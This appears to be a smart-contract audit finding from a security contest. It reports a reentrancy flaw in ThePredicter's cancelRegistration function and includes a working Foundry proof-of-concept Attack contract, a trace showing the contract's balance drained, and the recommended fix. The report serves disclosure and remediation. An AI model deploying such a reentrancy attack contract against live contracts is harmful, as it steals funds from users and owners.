Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

An attacker can drain the contract's funds by using reentrancy attack.

Summary

A critical vulnerability has been discovered in the ThePredicter smart contract that allows a re-entrancy attack. This vulnerability occurs in the cancelRegistration function, where an external call to transfer Ether back to the user is made before updating the user's status, potentially allowing the attacker to recursively call the function and withdraw funds multiple times.

Vulnerability Details

The re-entrancy attack is possible due to the order of operations in the cancelRegistration function. Specifically, the contract attempts to transfer Ether back to the user via an external call before updating the user's status. This allows a malicious contract to exploit the re-entrancy vulnerability by recursively calling cancelRegistration during the execution of the external call.

Number of instances : 1

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L62-L70

Proof of Concept

This is the test code of reentrancy attack.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import {ThePredicterTest} from "./ThePredicter.test.sol";
contract Attack {
ThePredicter public predicter;
constructor(address _predicter) {
predicter = ThePredicter(_predicter);
}
function cancelRegistrationAttack() public payable {
predicter.register{value: 0.04 ether}();
predicter.cancelRegistration();
}
fallback() external payable {
if(address(predicter).balance >= 0.04 ether) {
predicter.cancelRegistration();
}
}
}
contract AttackTest is ThePredicterTest {
address public attacker = makeAddr("attacker");
Attack public attack;
function testAttack() public {
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
attack = new Attack(address(thePredicter));
attack.cancelRegistrationAttack{value: 0.04 ether}();
vm.stopPrank();
emit log_named_uint("thePredicter.balance", address(thePredicter).balance);
emit log_named_uint("attack.balance", address(attack).balance);
}
}

To test this code:

  • Input this code to new test solidity file: test/Attack.test.sol.

  • Then run this command:

    forge test --match-path test/Attack.test.sol --match-test testAttack -vvvv

  • The result is:

    ├─ [47067] Attack::cancelRegistrationAttack{value: 40000000000000000}()
    │ ├─ [22777] ThePredicter::register{value: 40000000000000000}()
    │ │ └─ ← [Stop]
    │ ├─ [16522] ThePredicter::cancelRegistration()
    │ │ ├─ [8784] Attack::fallback{value: 40000000000000000}()
    │ │ │ ├─ [8025] ThePredicter::cancelRegistration()
    │ │ │ │ ├─ [287] Attack::fallback{value: 40000000000000000}()
    │ │ │ │ │ └─ ← [Stop]
    │ │ │ │ └─ ← [Stop]
    │ │ │ └─ ← [Stop]
    │ │ └─ ← [Stop]
    │ └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │ └─ ← [Return]
    ├─ emit log_named_uint(key: "thePredicter.balance", val: 0)
    ├─ emit log_named_uint(key: "attack.balance", val: 80000000000000000 [8e16])

Impact

The exploitation of this vulnerability can lead to:

  • Unauthorized Fund Withdrawals: An attacker can repeatedly withdraw the entrance fee, draining the contract’s funds.

  • Financial Loss: Significant financial loss for the contract owner and other participants.

  • Loss of Trust: Users may lose confidence in the security of the platform.

Tools Used

Manual code review

Recommendations

Just follow CEI pattern and wrap register() function and cancelRegistration() with nonReentrant modifier.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.